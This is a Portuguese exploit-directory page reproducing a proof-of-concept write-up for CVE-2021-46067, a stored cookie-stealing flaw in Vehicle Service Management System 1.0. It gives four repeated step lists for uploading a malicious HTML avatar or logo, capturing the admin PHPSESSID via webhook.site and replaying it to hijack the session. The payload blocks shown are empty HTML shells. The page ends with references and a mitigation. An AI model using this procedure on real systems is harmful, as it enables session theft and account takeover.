Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-46067 — CVE-2021-46067 - No Vehicle Service Management System 1.0, um atacante pode roubar os cookies, levando à Assunção Total da Conta. | Kitploit
Ferramentas/GitHubGitHub/sanupl/cve-2021-46067
Ferramentas de PhishingExploraçãoFerramentas de ImpersonaçãoExploração de Aplicações WebEngenharia SocialAutenticação
GitHubsanupl/cve-2021-46067

CVE-2021-46067

CVE-2021-46067 - No Vehicle Service Management System 1.0, um atacante pode roubar os cookies, levando à Assunção Total da Conta.

Ver Repositório
16há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-46067

Título do Exploit: Vehicle Service Management System - 'Múltiplo' Roubo de Cookie Leva à Tomada Total de Conta

Autor do Exploit: SANU P.L

CVE: CVE-2021-46067

CVSS: 9.8 CRÍTICO

Referências:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46067
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

Descrição:

No Vehicle Service Management System 1.0, um atacante pode roubar os cookies, levando à Tomada Total de Conta.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Faça login no painel de administração http://localhost/vehicle_service/admin
  2. Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user
  3. Gere o URL do Webhook - https://webhook.site
  4. Copie o URL único do Webhook e cole-o no código html abaixo.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Salve o código html acima, por exemplo: Cookie Stealing.html
  2. Na seção Minha Conta, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
  3. Clique no botão de atualizar.
  4. Abra a imagem do avatar em uma nova aba e verifique o status do Webhook.
  5. Recebemos a requisição; ela contém PHPSESSID.
  6. Copie o valor do PHPSESSID e abra outro navegador.
  7. Visite o painel de administração http://localhost/vehicle_service/admin
  8. Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
  9. Agora acesse o painel de administração http://localhost/vehicle_service/admin
  10. Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.

2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)

Exploit:

  1. Faça login no painel de administração http://localhost/vehicle_service/admin
  2. Navegue até a seção Lista de Usuários e clique no botão Criar Novo.
  3. Gere o URL do Webhook - https://webhook.site
  4. Copie o URL único do Webhook e cole-o no código html abaixo.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Salve o código html acima, por exemplo: Cookie Stealing.html
  2. Na seção Criar Novo Usuário, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
  3. Clique no botão Salvar.
  4. Abra a imagem do avatar em uma nova aba e verifique o status do Webhook.
  5. Recebemos a requisição; ela contém PHPSESSID.
  6. Copie o valor do PHPSESSID e abra outro navegador.
  7. Visite o painel de administração http://localhost/vehicle_service/admin
  8. Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
  9. Agora acesse o painel de administração http://localhost/vehicle_service/admin
  10. Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.

3. Vehicle Service Management System - 'Configurações - Logotipo do Sistema' (/admin/?page=system_info)

Exploit:

  1. Faça login no painel de administração http://localhost/vehicle_service/admin
  2. Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
  3. Gere o URL do Webhook - https://webhook.site
  4. Copie o URL único do Webhook e cole-o no código html abaixo.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Salve o código html acima, por exemplo: Cookie Stealing.html
  2. Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html em Logotipo do Sistema.
  3. Clique no botão de atualizar.
  4. Abra a imagem do Logotipo do Sistema em uma nova aba e verifique o status do Webhook.
  5. Recebemos a requisição; ela contém PHPSESSID.
  6. Copie o valor do PHPSESSID e abra outro navegador.
  7. Visite o painel de administração http://localhost/vehicle_service/admin
  8. Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
  9. Agora acesse o painel de administração http://localhost/vehicle_service/admin
  10. Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.

4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)

Exploit:

  1. Faça login no painel de administração http://localhost/vehicle_service/admin
  2. Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
  3. Gere o URL do Webhook - https://webhook.site
  4. Copie o URL único do Webhook e cole-o no código html abaixo.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Salve o código html acima, por exemplo: Cookie Stealing.html
  2. Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html em Capa do Site.
  3. Clique no botão de atualizar.
  4. Abra a imagem da Capa do Site em uma nova aba e verifique o status do Webhook.
  5. Recebemos a requisição; ela contém PHPSESSID.
  6. Copie o valor do PHPSESSID e abra outro navegador.
  7. Visite o painel de administração http://localhost/vehicle_service/admin
  8. Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
  9. Agora acesse o painel de administração http://localhost/vehicle_service/admin
  10. Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.

Impacto:

Um atacante faz upload de um arquivo html malicioso que redireciona para um site de terceiros e os cookies são expostos na requisição. Isso leva à Tomada Total de Conta.

Mitigação:

Recomenda-se validar a funcionalidade de upload de arquivos e realizar verificações secundárias na sessão.

Baixar ferramenta